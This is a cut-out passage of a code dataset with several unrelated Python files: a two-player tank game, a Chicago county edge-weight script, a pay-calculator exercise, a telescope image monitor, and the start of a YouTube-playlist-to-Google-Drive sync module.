(Red):\",30,10,120,\"red\")\r\n##start1 = makeLabel(\"Player 1 ( ):\",30,10,120,\"black\")\r\n##start1a = makeLabel(\"Red\",30,115,120,\"black\")\r\n##start1b = makeLabel(\"Red\",30,115,120,\"red\")\r\nstart2 = makeLabel(\"Player 2 (Blue):\",30, int(width/2),120,\"black\")\r\nstart2Color = makeLabel(\"Player 2 (Blue):\",30, int(width/2),120,\"blue\")\r\n##start2 = makeLabel(\"Player 2 ( ):\",30, int(width/2),120,\"black\")\r\n##start2a = makeLabel(\"Blue\",30, int(width/2)+105,120,\"black\")\r\n##start2b = makeLabel(\"Blue\",30, int(width/2)+105,120,\"blue\")\r\nstart3 = makeLabel(\"w = fwd, s = back, q = left, e = right\",25,10,165,\"black\")\r\nstart4 = makeLabel(\"up = fwd, down = back, left = left, right = right\",25,int(width/2),165,\"black\")\r\nstart5 = makeLabel(\"2 or 3 = fire\",25,10,190,\"black\")\r\nstart6 = makeLabel(\"/ = fire\",25,int(width/2),190,\"black\")\r\nstart7 = makeLabel(\"If using a joystick, let player 1 hit the fire button. Otherwise press spacebar to proceed.\",28,10,235,\"blue\", font='cambria')\r\n# timesnewroman lucidasans garamond calibri cambria bookantiqua arialblack arial\r\n##start8 = makeLabel(\"Score to win? (esc to quit)\",28,420,285,\"black\")\r\nstart8 = makeLabel(\"to win? (esc to quit)\",28,540,285,\"black\")\r\nstart9 = makeLabel(\"m = maze on/off\",30,10,300,\"black\")\r\nstartA = makeLabel(\"by Michael Szemborski\",20,110,670,\"white\")\r\n\r\nendDisplay = makeLabel(\"y to play again or esc to quit\",30,(width - 750),10,\"white\")\r\n\r\n# Parms below are x, y, width, case, text, max chars, font\r\n# case is set to 1 to convert to lowercase (2 is upper and 0 is no conversion)\r\n# if max chars is set to 0 there is no limit\r\n#inputBox = makeTextBox(450,400,300,1,\"Enter text here\",3,24)\r\n##inputBox = makeTextBox(565,285,50,1,\"10\",3,24)\r\ninputBox = makeTextBox(480,285,50,1,\"10\",3,24)\r\n\r\ne1 = makeSound(\"sounds/movec2.wav\") # engine sound playing a C note\r\ne2 = makeSound(\"sounds/moved2.wav\") # engine sound playing a D note\r\nr1 = makeSound(\"sounds/rotd.wav\") # rotating sound playing a D note\r\nr2 = makeSound(\"sounds/rotc.wav\") # rotating sound playing a C note\r\nf1 = makeSound(\"sounds/fired.wav\") # firing with a D note\r\nf2 = makeSound(\"sounds/firec.wav\") # firing with a C note\r\nex1 = makeSound(\"sounds/exploded.wav\") # explode with a D note\r\nex2 = makeSound(\"sounds/explodec.wav\") # explode with a C note\r\n\r\nnut = makeSound(\"sounds/nuthin.wav\") # 1 ms of nothing - not used\r\nndm = makeSound(\"sounds/003_1.wav\") # end music\r\n\r\nmuzik = True\r\n\r\n\"\"\"\r\nBeginning of Joystick Section\r\n\"\"\"\r\njoyCnt = pygame.joystick.get_count()\r\nprint('pygame.joystick.get_count() =', joyCnt, flush=True)\r\njoysticks = []\r\nfor x in range(pygame.joystick.get_count()):\r\n joystick = pygame.joystick.Joystick(x)\r\n # print('joystick.get_id() =', joystick.get_id(), flush=True)\r\n name = joystick.get_name()\r\n # print('joystick.get_name() = \"', name, '\"', flush=True)\r\n # print('Initializing joystick...', flush=True)\r\n joystick.init()\r\n joysticks.append(joystick)\r\n\r\n# It is assumed that there are two joysticks\r\np1j = 0 # joystick id for player 1\r\np2j = 1 # joystick id for player 2\r\n\r\ndef gameSetup():\r\n # Initialize positions for both characters (centered on the character)\r\n global p1_x\r\n global p1_y\r\n global p2_x\r\n global p2_y\r\n global p1Angle\r\n global p2Angle\r\n global move_p1\r\n global move_p2\r\n global spin_p1\r\n global spin_p2\r\n global p1Score\r\n global p2Score\r\n global play\r\n global mazeShow\r\n \r\n p1_x = st_p1_x + p1w_half # \\\r\n p1_y = st_p1_y + p1h_half # \\____ These provide the center positions for the sprites\r\n p2_x = st_p2_x + p2w_half # /\r\n p2_y = st_p2_y + p2h_half # /\r\n p1Angle = 0\r\n p2Angle = 0\r\n\r\n move_p1 = False\r\n move_p2 = False\r\n spin_p1 = False\r\n spin_p2 = False\r\n\r\n p1Score = 0\r\n p2Score = 0\r\n play = True\r\n\r\n # Initial scene\r\n setBackgroundImage(grassImg) # size is 2048 x 1536\r\n # Maze is displayed or hidden by hitting \"m\"\r\n # setBackgroundImage(mazeImg) # size is 1200 x 719\r\n \r\n mazeShow = True # Using a sprite instead of background for the maze\r\n if mazeShow:\r\n showSprite(mazeSprite)\r\n else:\r\n hideSprite(mazeSprite)\r\n\r\n showLabel(p1Display) \r\n showLabel(p2Display)\r\n\r\n transformSprite(p1,p1Angle,1) # Player 1 needs to point up\r\n p2Angle += 180\r\n transformSprite(p2,p2Angle,1) # Player 2 needs to point down\r\n moveSprite(p1, p1_x, p1_y, True) # True means assign position based upon the...\r\n moveSprite(p2, p2_x, p2_y, True) # ...center of the sprite.\r\n showSprite(p1)\r\n showSprite(p2)\r\n\r\n# The next four functions could have been combined into one, providing a more elegant solution.\r\n# But the complexity would have made it considerably less readable.\r\ndef player1MoveFwd():\r\n global p1_x\r\n global p1_y\r\n holdX = p1_x\r\n holdY = p1_y\r\n\r\n if p1Angle in (225, 270, 315):\r\n p1_x -= pixels2move\r\n if p1_x < 0:\r\n p1_x = width\r\n \r\n if p1Angle in (45, 90, 135):\r\n p1_x += pixels2move\r\n if p1_x > width:\r\n p1_x = 0\r\n \r\n if p1Angle in (0, 45, 315):\r\n p1_y -= pixels2move\r\n if p1_y < 0:\r\n p1_y = height\r\n \r\n if p1Angle in (135, 180, 225):\r\n p1_y += pixels2move\r\n if p1_y > height:\r\n p1_y = 0\r\n \r\n moveSprite(p1, p1_x, p1_y, True)\r\n \r\n if mazeShow and touching(p1, mazeSprite):\r\n p1_x = holdX\r\n p1_y = holdY \r\n moveSprite(p1, p1_x, p1_y, True)\r\n \r\n showSprite(p1)\r\n playSound(e1)\r\n\r\ndef player1MoveBak():\r\n global p1_x\r\n global p1_y\r\n holdX = p1_x\r\n holdY = p1_y\r\n \r\n if p1Angle in (225, 270, 315):\r\n p1_x += pixels2move\r\n if p1_x > width:\r\n p1_x = 0\r\n\r\n if p1Angle in (45, 90, 135):\r\n p1_x -= pixels2move\r\n if p1_x < 0:\r\n p1_x = width\r\n \r\n if p1Angle in (0, 45, 315):\r\n p1_y += pixels2move\r\n if p1_y > height:\r\n p1_y = 0\r\n \r\n if p1Angle in (135, 180, 225):\r\n p1_y -= pixels2move\r\n if p1_y < 0:\r\n p1_y = height\r\n \r\n moveSprite(p1, p1_x, p1_y, True) \r\n \r\n if mazeShow and touching(p1, mazeSprite):\r\n p1_x = holdX\r\n p1_y = holdY \r\n moveSprite(p1, p1_x, p1_y, True)\r\n \r\n showSprite(p1)\r\n playSound(e1)\r\n \r\ndef player2MoveFwd():\r\n global p2_x\r\n global p2_y\r\n holdX = p2_x\r\n holdY = p2_y\r\n \r\n if p2Angle in (225, 270, 315):\r\n p2_x -= pixels2move\r\n if p2_x < 0:\r\n p2_x = width\r\n \r\n if p2Angle in (45, 90, 135):\r\n p2_x += pixels2move\r\n if p2_x > width:\r\n p2_x = 0\r\n \r\n if p2Angle in (0, 45, 315):\r\n p2_y -= pixels2move\r\n if p2_y < 0:\r\n p2_y = height\r\n \r\n if p2Angle in (135, 180, 225):\r\n p2_y += pixels2move\r\n if p2_y > height:\r\n p2_y = 0\r\n \r\n moveSprite(p2, p2_x, p2_y, True) \r\n \r\n if mazeShow and touching(p2, mazeSprite):\r\n p2_x = holdX\r\n p2_y = holdY \r\n moveSprite(p2, p2_x, p2_y, True)\r\n \r\n showSprite(p2)\r\n playSound(e2)\r\n \r\ndef player2MoveBak():\r\n global p2_x\r\n global p2_y\r\n holdX = p2_x\r\n holdY = p2_y\r\n \r\n if p2Angle in (225, 270, 315):\r\n p2_x += pixels2move\r\n if p2_x > width:\r\n p2_x = 0\r\n\r\n if p2Angle in (45, 90, 135):\r\n p2_x -= pixels2move\r\n if p2_x < 0:\r\n p2_x = width\r\n \r\n if p2Angle in (0, 45, 315):\r\n p2_y += pixels2move\r\n if p2_y > height:\r\n p2_y = 0\r\n \r\n if p2Angle in (135, 180, 225):\r\n p2_y -= pixels2move\r\n if p2_y < 0:\r\n p2_y = height\r\n \r\n moveSprite(p2, p2_x, p2_y, True)\r\n \r\n if mazeShow and touching(p2, mazeSprite):\r\n p2_x = holdX\r\n p2_y = holdY \r\n moveSprite(p2, p2_x, p2_y, True)\r\n \r\n showSprite(p2)\r\n playSound(e2)\r\n \r\ndef playerFire(fAngle, fx, fy):\r\n # p1w_half and p1h_half are used for both players. Assumes players are the same size.\r\n # The \"+2\" is added to ensure that the player doesn't shoot himself.\r\n # It could still happen if the player is at a 45 degree angle, which is why\r\n # half of the hypotenuse is sometimes added.\r\n global p1Score\r\n global p2Score\r\n \r\n if fAngle in (45, 135, 225, 315):\r\n half = p1hyp_half # half of the hypotenuse is used because player is at an angle\r\n else:\r\n if fAngle in (90, 270):\r\n half = p1w_half\r\n else:\r\n half = p1h_half\r\n\r\n if fAngle in (225, 315): # These are needed to center the starting point\r\n fx += (p1hyp_half_half)\r\n if fAngle in (45, 135):\r\n fx -= (p1hyp_half_half)\r\n if fAngle in (45, 315): \r\n fy -= (p1hyp_half_half)\r\n if fAngle in (135, 225): \r\n fy += (p1hyp_half_half)\r\n \r\n if fx == p1_x:\r\n sound2play = f1\r\n else:\r\n sound2play = f2\r\n \r\n fire = True\r\n fireFirst = True\r\n \r\n while fire: \r\n hideSprite(bullet)\r\n holdX, holdY = fx, fy\r\n if fAngle in (225, 270, 315):\r\n if fireFirst:\r\n fx -= (fire2move + half + 2)\r\n else:\r\n fx -= fire2move\r\n if fx < 0:\r\n fire = False\r\n if fire and fireFirst: \r\n playSound(sound2play)\r\n fireFirst = False\r\n \r\n \r\n if fAngle in (45, 90, 135):\r\n if fireFirst:\r\n fx += (fire2move + half + 2)\r\n else:\r\n fx += fire2move\r\n if fx > width:\r\n fire = False\r\n if fire and fireFirst: \r\n playSound(sound2play)\r\n fireFirst = False\r\n \r\n if fAngle in (0, 45, 315):\r\n if fireFirst:\r\n fy -= (fire2move + half + 2)\r\n else:\r\n fy -= fire2move\r\n if fy < 0:\r\n fire = False\r\n if fire and fireFirst: \r\n playSound(sound2play)\r\n fireFirst = False\r\n \r\n if fAngle in (135, 180, 225):\r\n if fireFirst:\r\n fy += (fire2move + half + 2)\r\n else:\r\n fy += fire2move\r\n if fy > height:\r\n fire = False\r\n if fire and fireFirst: \r\n playSound(sound2play)\r\n fireFirst = False\r\n \r\n if fire:\r\n moveSprite(bullet, fx, fy, True)\r\n if mazeShow and touching(bullet, mazeSprite):\r\n fx = holdX\r\n fy = holdY \r\n moveSprite(bullet, fx, fy, True)\r\n fire = False\r\n showSprite(bullet)\r\n pause(1) # Needed so you can actually see the bullet\r\n\r\n if fire:\r\n if touching(p1, bullet): \r\n stopSound(f2)\r\n hideSprite(bullet)\r\n playSound(ex1)\r\n moveSprite(burn1, fx, fy, True)\r\n showSprite(burn1)\r\n # print(\"Hit player 1 !\")\r\n pause(fireDelay, True)\r\n hideSprite(burn1)\r\n p2Score += 1\r\n fire = False\r\n \r\n if touching(p2, bullet): \r\n stopSound(f1) \r\n hideSprite(bullet)\r\n playSound(ex2)\r\n moveSprite(burn2, fx, fy, True)\r\n showSprite(burn2)\r\n playSound(ex2)\r\n # print(\"Hit player 2 !\")\r\n pause(fireDelay, True)\r\n hideSprite(burn2)\r\n p1Score += 1\r\n fire = False\r\n else: \r\n hideSprite(bullet)\r\n \r\n\"\"\" Main Section \"\"\"\r\nsetAutoUpdate(False) # Prevents screen refresh until updateDisplay()\r\n\r\nshowLabel(start0)\r\nshowLabel(start1)\r\n##showLabel(start1a)\r\nshowLabel(start2)\r\n##showLabel(start2a)\r\nshowLabel(start3)\r\nshowLabel(start4)\r\nshowLabel(start5)\r\nshowLabel(start6)\r\nshowLabel(start7)\r\n# showLabel(start9)\r\nshowLabel(startA)\r\nhideTextBox(inputBox)\r\n\r\nmakeMusic(\"sounds/F minor.mp3\") # Project in F minor - long, mp3 version\r\nplayMusic()\r\n\r\nwait = True\r\nwhile wait:\r\n if joyCnt > 0:\r\n first = joysticks[0].get_button(0)\r\n else:\r\n first = 0\r\n \r\n if joyCnt > 1:\r\n second = joysticks[1].get_button(0)\r\n else:\r\n second = 0\r\n \r\n if first:\r\n p1j = 0\r\n p2j = 1\r\n print(\"first \", first)\r\n if second:\r\n p1j = 1\r\n p2j = 0\r\n print(\"second\", second)\r\n if first or second:\r\n## hideLabel(start1a)\r\n## hideLabel(start2a)\r\n## showLabel(start1b)\r\n## showLabel(start2b)\r\n hideLabel(start1)\r\n hideLabel(start2)\r\n showLabel(start1Color)\r\n showLabel(start2Color)\r\n wait = False\r\n if keyPressed(\"space\"):\r\n wait = False\r\n if keyPressed(\"m\"): # \"m\" for music. Later it means \"maze.\"\r\n if muzik:\r\n stopMusic()\r\n muzik = False\r\n pause(1000)\r\n else:\r\n rewindMusic()\r\n playMusic()\r\n muzik = True\r\n pause(1000)\r\n if not wait:\r\n showLabel(start8)\r\n showTextBox(inputBox)\r\n entry = textBoxInput(inputBox)\r\n if entry.isnumeric() and int(entry) > 0:\r\n print(\"hits2win = \", hits2win)\r\n hits2win= int(entry)\r\n updateDisplay()\r\n\r\nstopMusic()\r\n\r\nmuzik = True\r\n \r\nhideLabel(start0)\r\nhideLabel(start1)\r\nhideLabel(start1Color)\r\n##hideLabel(start1a)\r\n##hideLabel(start1b)\r\nhideLabel(start2)\r\nhideLabel(start2Color)\r\n##hideLabel(start2a)\r\n##hideLabel(start2b)\r\nhideLabel(start3)\r\nhideLabel(start4)\r\nhideLabel(start5)\r\nhideLabel(start6)\r\nhideLabel(start7)\r\nhideLabel(start8)\r\n# hideLabel(start9)\r\nhideLabel(startA)\r\nhideTextBox(inputBox)\r\n\r\ngameSetup()\r\n\r\nwhile True:\r\n \r\n # Displays or hides the maze - Hidden feature at this point\r\n if play and keyPressed(\"m\"):\r\n if mazeShow:\r\n mazeShow = False\r\n # setBackgroundImage(grassImg)\r\n hideSprite(mazeSprite)\r\n else:\r\n mazeShow = True\r\n # setBackgroundImage(mazeImg)\r\n showSprite(mazeSprite)\r\n pause(250)\r\n\r\n # For player 1\r\n if joyCnt > 0:\r\n ax = round(joysticks[p1j].get_axis(0))\r\n else:\r\n ax = 0\r\n if play and (keyPressed(\"q\") or ax < 0):\r\n p1Angle = p1Angle - 45\r\n if p1Angle < 0:\r\n p1Angle += 360\r\n transformSprite(p1,p1Angle, 1)\r\n playSound(r1) \r\n spin_p1 = True\r\n pause(spinSpeed)\r\n elif play and (keyPressed(\"e\") or ax > 0):\r\n p1Angle = p1Angle +45\r\n if p1Angle > 359:\r\n p1Angle -= 360\r\n transformSprite(p1, p1Angle, 1)\r\n playSound(r1) \r\n spin_p1 = True\r\n pause(spinSpeed)\r\n\r\n if joyCnt > 0:\r\n ax = round(joysticks[p1j].get_axis(1))\r\n else:\r\n ax = 0\r\n if play and (keyPressed(\"w\") or ax < 0):\r\n player1MoveFwd()\r\n move_p1 = True\r\n elif play and (keyPressed(\"s\") or ax > 0):\r\n player1MoveBak()\r\n move_p1 = True\r\n \r\n # For player 2\r\n if joyCnt > 1:\r\n ax = round(joysticks[p2j].get_axis(0))\r\n else:\r\n ax = 0\r\n if play and (keyPressed(\"left\") or ax < 0):\r\n p2Angle = p2Angle - 45\r\n if p2Angle < 0:\r\n p2Angle += 360\r\n transformSprite(p2,p2Angle, 1)\r\n playSound(r2) \r\n spin_p2 = True\r\n pause(spinSpeed)\r\n elif play and (keyPressed(\"right\") or ax > 0):\r\n p2Angle = p2Angle +45\r\n if p2Angle > 359:\r\n p2Angle -= 360\r\n transformSprite(p2, p2Angle, 1)\r\n playSound(r2) \r\n spin_p2 = True\r\n pause(spinSpeed)\r\n\r\n if joyCnt > 1:\r\n ax = round(joysticks[p2j].get_axis(1))\r\n else:\r\n ax = 0\r\n if play and (keyPressed(\"up\") or ax < 0):\r\n player2MoveFwd()\r\n move_p2 = True\r\n elif play and (keyPressed(\"down\") or ax > 0):\r\n player2MoveBak()\r\n move_p2 = True\r\n \r\n # See if movement caused a collision\r\n if play and (move_p1 or move_p2 or spin_p1 or spin_p2):\r\n move_p1 = False\r\n move_p2 = False\r\n spin_p1 = False\r\n spin_p2 = False\r\n if touching(p1, p2):\r\n moveSprite(burn1, p1_x, p1_y, True)\r\n moveSprite(burn2, p2_x, p2_y, True)\r\n showSprite(burn1)\r\n showSprite(burn2) \r\n playSound(ex2) # No need to play both explosions\r\n # print(\"Collision!\")\r\n pause(2000, True)\r\n hideSprite(burn1)\r\n hideSprite(burn2)\r\n p1Score += 1\r\n p2Score += 1 \r\n # For player 1\r\n if play and ((keyPressed(\"2\") or keyPressed(\"3\")) or\r\n (joyCnt > 0 and joysticks[p1j].get_button(0))):\r\n playerFire(p1Angle, p1_x, p1_y)\r\n \r\n # For player 2\r\n if play and (keyPressed(\"/\") or\r\n (joyCnt > 1 and joysticks[p2j].get_button(0))):\r\n playerFire(p2Angle, p2_x, p2_y)\r\n\r\n changeLabel(p1Display, \"Player 1: {0}\".format(str(p1Score)))\r\n changeLabel(p2Display, \"Player 2: {0}\".format(str(p2Score)))\r\n \r\n if p1Score == hits2win:\r\n changeLabel(p1Display, \"Player 1: WINS\")\r\n play = False\r\n if p2Score == hits2win:\r\n changeLabel(p2Display, \"Player 2: WINS\")\r\n play = False\r\n \r\n if play and keyPressed(\"r\"): # undocumented method to restart\r\n gameSetup()\r\n \r\n if play and keyPressed(\"t\"): # undocumented method to test code\r\n pass\r\n \r\n if not play:\r\n showLabel(endDisplay) \r\n if muzik:\r\n playSound(ndm,loops=100)\r\n muzik = False\r\n \r\n if keyPressed(\"y\"):\r\n muzik = True\r\n stopSound(ndm) \r\n hideLabel(endDisplay)\r\n \r\n play = True\r\n gameSetup()\r\n \r\n updateDisplay()\r\n\r\n\r\n\r\n\r\n","sub_path":"Tank v9.py","file_name":"Tank v9.py","file_ext":"py","file_size_in_byte":20971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"350899725","text":"import numpy as np\nimport pickle\nimport os\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\nbase_file_path = os.path.abspath(os.path.join(os.curdir, '..', '..', '..')) # should point to the level above the src directory\ndata_path = os.path.join(base_file_path, 'data', 'Chicago_Intercounty_Flow')\n\ncity_data = pickle.load(open(os.path.join(data_path, 'data_processing_outputs', 'county_data.p'), 'rb'))\nadjacency_matrix = np.load(os.path.join(data_path, 'data_processing_outputs', 'adjacency_matrix.npy'))\n\ncity_list = list(city_data.keys())\nnum_cities = len(city_list)\n\n# Entity indexes\n# 0 - groceries\n# 1 - fitness\n# 2 - pharmacy\n# 3 - physician\n# 4 - hotel\n# 5 - religion\n# 6 - restaurant\nentity_list = ['grocery_demand_dest', \n 'fitness_demand_dest', \n 'pharmacy_demand_dest', \n 'physician_demand_dest', \n 'hotel_demand_dest',\n 'restaurant_demand_dest']\nnum_entities = len(entity_list)\n\nedge_weights = np.zeros((num_cities, num_cities, num_entities), dtype=np.float)\n\nfor city_ind in range(num_cities):\n for entity_ind in range(num_entities):\n city_name = city_list[city_ind]\n entity_name = entity_list[entity_ind]\n edge_weights[city_ind, :, entity_ind] = np.array(city_data[city_name][entity_name])\n\n# Prune edge weights corresponding to missing edges in pre-calculated adjacency matrix\nfor entity_ind in range(num_entities):\n edge_weights[:, :, entity_ind] = np.multiply(adjacency_matrix, edge_weights[:, :, entity_ind]) # Use the adjacency matrix as a mask\n\nfor city_ind in range(num_cities):\n for entity_ind in range(num_entities):\n # weights are only considered to determine likelihood of moving to ANOTHER region. \n # Should not take self-loops into account.\n edge_weights[city_ind, city_ind, entity_ind] = 0.0\n\n #normalize remaining edges to sum to 1\n if not (np.sum(edge_weights[city_ind, :, entity_ind]) == 0.0):\n edge_weights[city_ind, :, entity_ind] = edge_weights[city_ind, :, entity_ind] / np.sum(edge_weights[city_ind, :, entity_ind])\n \n # If no edge weight data exists, set weights to be uniform over the outgoing edges in the adjacency matrix\n else:\n num_outgoing_edges = np.sum(adjacency_matrix[city_ind, :])\n if adjacency_matrix[city_ind, city_ind] == 1:\n num_outgoing_edges = num_outgoing_edges - 1\n for adj_ind in range(num_cities):\n mask_val = adjacency_matrix[city_ind, adj_ind]\n if mask_val == 1.0 and not (adj_ind == city_ind):\n edge_weights[city_ind, adj_ind, entity_ind] = 1 / num_outgoing_edges\n else:\n edge_weights[city_ind, adj_ind, entity_ind] = 0.0\n\nfor city_ind in range(num_cities):\n for entity_ind in range(num_entities):\n if np.sum(edge_weights[city_ind, :, entity_ind]) - 1.0 <= 1e-8:\n pass\n else:\n print('city name: {}, entity name: {}, sum of edge weights: {}'.format(city_list[city_ind], \n entity_list[entity_ind], \n np.sum(edge_weights[city_ind, :, entity_ind])))\n\nnp.save(os.path.join(data_path, 'data_processing_outputs', 'edge_weights.npy'), edge_weights)\n\n# entity = 6\n\n# # Visualize the resulting adjacency matrix\n# G = nx.DiGraph()\n# G_fully_connected = nx.DiGraph()\n# for i in range(num_cities):\n# G.add_node(city_list[i])\n# G_fully_connected.add_node(city_list[i])\n# for j in range(num_cities):\n# G_fully_connected.add_edge(city_list[i], city_list[j])\n# if edge_weights[i, j, entity] >= 1e-4:\n# G.add_edge(city_list[i], city_list[j])\n\n# pos = dict()\n# for i in range(num_cities):\n# city = city_list[i]\n# x_loc = city_data[city]['x_loc']\n# y_loc = city_data[city]['y_loc']\n# pos[city] = np.array([x_loc, y_loc])\n\n# nx.draw_networkx_nodes(G, pos)\n# nx.draw_networkx_labels(G, pos)\n# # nx.draw_networkx_edges(G_fully_connected, pos, edge_color='red')\n# nx.draw_networkx_edges(G, pos, edge_color='black', edge_width=15)\n\n# plt.show()\n","sub_path":"src/data_processing/Chicago/generate_chicago_edge_weights.py","file_name":"generate_chicago_edge_weights.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"483649556","text":"'''\r\n4.6 Write a program to prompt the user for hours and rate \r\nper hour using input to compute gross pay. Pay should be \r\nthe normal rate for hours up to 40 and time-and-a-half for \r\nthe hourly rate for all hours worked above 40 hours. Put the \r\nlogic to do the computation of pay in a function called \r\ncomputepay() and use the function to do the computation. \r\nThe function should return a value. Use 45 hours and a rate \r\nof 10.50 per hour to test the program (the pay should be 498.75).\r\nYou should use input to read a string and float() to convert \r\nthe string to a number. Do not worry about error checking the\r\nuser input unless you want to - you can assume the user types\r\nnumbers properly. Do not name your variable sum or use the \r\nsum() function.\r\n'''\r\n\r\n\r\n\r\nuserh = input(\"Write your Hours:\")\r\nuserra = input(\"Write your rate:\")\r\ntry:\r\n\thrs = float(userh)\r\n\trate = float(userra)\r\nexcept:\r\n\thrs= \"Please enter a number\"\r\n\trate= \"Make sure you have typed the number\"\r\ndef computepay(hrs, rate):\r\n\tif hrs>40:\r\n\t\tnormr = 40 * rate\r\n\t\toverra = (hrs-40.0)\r\n\t\tadditional= (overra +(overra*0.5))* rate\r\n\t\treturn normr + additional\r\n\telse:\r\n\t\treturn hrs*rate\r\nprint(computepay(hrs, rate))","sub_path":"PY4E Assignments/Chapter 4. Functions/assignment4.6.py","file_name":"assignment4.6.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"308011425","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\nMonitor.py\n\nCreated by Josh Walawender on 2013-07-25.\nCopyright (c) 2013 __MyCompanyName__. All rights reserved.\n\"\"\"\n\nfrom __future__ import division, print_function\n\nimport sys\nimport os\nfrom argparse import ArgumentParser\nimport re\nimport time\nimport subprocess\n\n\nhelp_message = '''\nThe help message goes here.\n'''\n\n\ndef main(argv=None): \n ##-------------------------------------------------------------------------\n ## Parse Command Line Arguments\n ##-------------------------------------------------------------------------\n ## create a parser object for understanding command-line arguments\n parser = ArgumentParser(description=\"Describe the script\")\n ## add arguments\n args = parser.parse_args()\n telescope = \"Panoptes\"\n \n ##-------------------------------------------------------------------------\n ## Set date to tonight\n ##-------------------------------------------------------------------------\n now = time.gmtime()\n DateString = time.strftime(\"%Y-%m-%d\", now)\n\n ##-------------------------------------------------------------------------\n ## Set data path\n ##-------------------------------------------------------------------------\n DataPath = os.path.join(\"/skycamdata\", DateString, \"CR2\")\n\n\n ##-------------------------------------------------------------------------\n ## Look for Pre-existing Files\n ##-------------------------------------------------------------------------\n if not os.path.exists(DataPath): os.mkdir(DataPath)\n PreviousFiles = os.listdir(DataPath)\n PreviousFilesTime = time.gmtime()\n\n ##-------------------------------------------------------------------------\n ## Operation Loop\n ##-------------------------------------------------------------------------\n PythonString = os.path.join(\"/usr/\", \"bin\", \"python\")\n homePath = os.path.expandvars(\"$HOME\")\n MeasureImageString = os.path.join(homePath, \"bin\", \"Panoptes\", \"MeasureImage.py\")\n Operate = True\n while Operate:\n ## Set date to tonight\n now = time.gmtime()\n nowDecimalHours = now.tm_hour + now.tm_min/60. + now.tm_sec/3600.\n DateString = time.strftime(\"%Y-%m-%d\", now)\n TimeString = time.strftime(\"%Y-%m-%d %H:%M:%S -\", now)\n \n Files = os.listdir(DataPath)\n FilesTime = now\n \n time.sleep(1)\n \n if len(Files) > len(PreviousFiles):\n for File in Files:\n FileFound = False\n for PreviousFile in PreviousFiles:\n if File == PreviousFile:\n FileFound = True\n if not FileFound:\n if re.match(\"IMG0_\\d{4}\\.CR2\", File):\n print(\"New image File Found: %s\" % File)\n Focus = False\n ProcessCall = [PythonString, MeasureImageString, os.path.join(DataPath, File)]\n print(\" %s Calling MeasureImage.py with %s\" % (TimeString, ProcessCall[2:]))\n try:\n MIoutput = subprocess.check_output(ProcessCall, stderr=subprocess.STDOUT)\n print(\"Call to MeasureImage.py Succeeded\")\n except:\n print(\"Call to MeasureImage.py Failed: {0} {1} {2}\".format(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2]))\n PreviousFiles = Files\n PreviousFilesTime = now\n time.sleep(5)\n if nowDecimalHours > 18.0:\n Operate = False\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"Monitor.py","file_name":"Monitor.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"207448039","text":"import multiprocessing\nimport requests\nimport pytube\nimport os\nfrom urllib.parse import urlparse, parse_qs\nfrom rq.decorators import job\nfrom redis import Redis\nfrom math import ceil\nfrom app.services.gdrive.gdrive import GoogleDriveService\nfrom app.models import PlaylistVideo, Content, Provider, Service\nfrom app.services.utils import md5sum\nfrom app import downloads_path, db, create_app\n\n\nredis = Redis()\nvideos_base_url = 'https://www.youtube.com/watch?v='\n\n\n# monitor the playlist url and check for new/old videos\ndef monitor_changes():\n with create_app().app_context():\n service = Service.query.filter_by(name=\"playlist\").first()\n for provider in Provider.query.filter_by(service_id=service.id).all():\n current_playlist = check_url(provider.info)\n # If it is a playlist, check for new/removed videos\n if isinstance(current_playlist, Playlist):\n sync_playlist(current_playlist, provider)\n\n service = Service.query.filter_by(name=\"video\").first()\n for provider in Provider.query.filter_by(service_id=service.id).all():\n current_video = check_url(provider.info)\n # If it is a video, upload if not previously done\n if isinstance(current_video, Video) and Content.query.filter_by(provider_id=provider.id).first() is not None:\n sync.delay(current_video, provider)\n\n\ndef sync_playlist(playlist, provider):\n updated_videos = [check_url(video) for video in playlist.videos]\n updated_videos = {video.id: video\n for video in updated_videos}\n current_videos = {video.video_id: video\n for video in PlaylistVideo.query.filter_by(provider_id=provider.id).all()}\n # download new videos\n for video_id in list(set(updated_videos.keys())-set(current_videos.keys())):\n sync.delay(updated_videos[video_id], provider)\n # clean up removed videos\n clean_up([current_videos[video_id]\n for video_id in list(set(current_videos.keys()) - set(updated_videos.keys()))], provider)\n # update Contents names to keep the soring updated too\n update_contents_names(provider)\n\n\ndef update_contents_names(provider):\n for playlist_video in PlaylistVideo.query.filter_by(provider_id=provider.id).all():\n video = check_url(playlist_video.video_url)\n if isinstance(video, Video):\n content = Content.query.filter_by(provider_id=provider.id, checksum=playlist_video.content_hash).first()\n if content.name != video.name:\n content.name = video.name\n db.session.add(content)\n db.session.commit()\n\n\n# launch work to upload video to google drive\n@job('default', connection=redis, timeout=11000)\ndef sync(video, provider):\n with create_app().app_context():\n if PlaylistVideo.query.filter_by(video_id=video.id,\n provider_id=provider.id).first() is None:\n filename = download_async(video)\n file = os.path.join(downloads_path, filename)\n upload_async(filename, md5sum(file), video, provider)\n os.remove(file)\n\n\ndef clean_up(videos, provider):\n drive = GoogleDriveService()\n for video in videos:\n # remove associated Content\n content = Content.query.filter_by(checksum=video.content_hash,\n provider_id=provider.id).first()\n drive.delete(content)\n db.session.delete(video)\n db.session.commit()\n\n\n# check if a url is valid and contains a Youtube Video/Playlist\ndef check_url(url):\n try:\n url = urlparse(url)\n parsed = parse_qs(url.query)\n\n # if contains 'list' argument try as a playlist\n if 'list' in parsed:\n playlist_id = parsed.get('list')[0]\n playlist_name, playlist_videos_urls = scrap_playlist_links(playlist_id, url.geturl())\n return Playlist(playlist_id, playlist_name, url.geturl(), playlist_videos_urls)\n\n # if contains 'v' argument try as single video (and playlist was invalid)\n if 'v' in parsed:\n video_id = parsed.get('v')[0]\n video_url = videos_base_url + video_id\n video_name = pytube.YouTube(video_url).streams.first().player_config_args['title']\n return Video(video_id, video_name, video_url)\n except:\n raise YoutubeException(\"Invalid Youtube URL!\")\n\n\n# custom scrapping, similar to 